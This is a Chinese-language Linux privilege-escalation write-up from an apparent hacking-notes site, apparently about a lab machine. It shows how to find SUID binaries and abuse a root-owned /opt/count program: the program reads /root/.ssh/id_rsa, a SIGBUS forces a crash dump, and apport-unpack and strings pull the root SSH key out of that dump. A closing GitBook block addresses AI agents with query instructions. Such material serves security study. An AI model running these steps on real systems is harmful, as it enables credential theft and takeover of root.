> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md).

# SUID 核心转储 /opt/count - Linux 权限提升

## 这是什么

SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护文件、启动具有特权的 shell，或执行由攻击者控制的代码。这个特定页面重点关注 **SUID - 内存转储 (/opt/count)** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
find / -perm -4000 -type f 2>/dev/null
```

## 示例

使用以下命令查找当前用户可用的 SUID 权限：

```bash
find / -perm -4000 2>/dev/null
```

我们发现一个位于 `/opt/count`，其所有者为 `root`.

<figure><img src="/files/6bda01bdf3a91e64ed0c8c4729c8757ee8b5d945" alt=""><figcaption></figcaption></figure>

当这个二进制文件运行时，它会要求输入一个文件，然后打印字符、单词和行的总数。该脚本会读取文件内容并显示其属性。

<figure><img src="/files/e47d9c9a9f0f303bcdf6ab1ee78df66be068ef5c" alt="" width="563"><figcaption></figcaption></figure>

### Core Dump 二进制文件

通过检查源代码，我们可以看到会生成一个核心转储，在发生错误时会临时保存内容。

<figure><img src="/files/bd60059a00fe6fdb4dec2da5c17d5ccb8779db89" alt=""><figcaption></figcaption></figure>

错误保存在 `/var/crash` 目录中。以下是创建 core dump 的方法：

1. **输入文件或目录名称：**

   ```bash
   输入源文件/目录名称：/root/.ssh/id_rsa
   ```

   （SSH root 密钥）
2. \*\*将结果保存到文件中吗？ \*\*

   ```css
   将结果保存到文件吗？ [y/N]: ^Z
   ```

   (后台)
3. **获取 PID：**

   ```bash
   ps
   ```

   *(复制 PID)*
4. **终止进程：**

   ```bash
   kill -BUS 'PID'
   ```
5. **重新启动该二进制文件：**

   ```bash
   fg
   ```
6. **检查 core dump 目录：**

   ```bash
   ls -l /var/crash
   ```

   （出现一个新文件： `_opt_count.1000.crash`)

<figure><img src="/files/3b746e3eb4342290b2b44f6b085a253ec4f32d7a" alt=""><figcaption></figcaption></figure>

现在我们有了一个包含 root SSH 密钥的 base64 核心转储。

<figure><img src="/files/dafe191eff4c54725ca7533f59d195f23df1964a" alt=""><figcaption></figcaption></figure>

### apport-unpack

为了提取信息，我们将使用 `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

然后我们将列出该文件的内容于 `/tmp/ssh/coredump` 列出文件内容，使用 `strings`:

<figure><img src="/files/e194071c4c5837e321dd9985c87da927c060fbf7" alt=""><figcaption></figcaption></figure>

我们找到了 SSH root 密钥

<figure><img src="/files/88c989c6cc466060ce3403178bd9d1d1bc455603" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.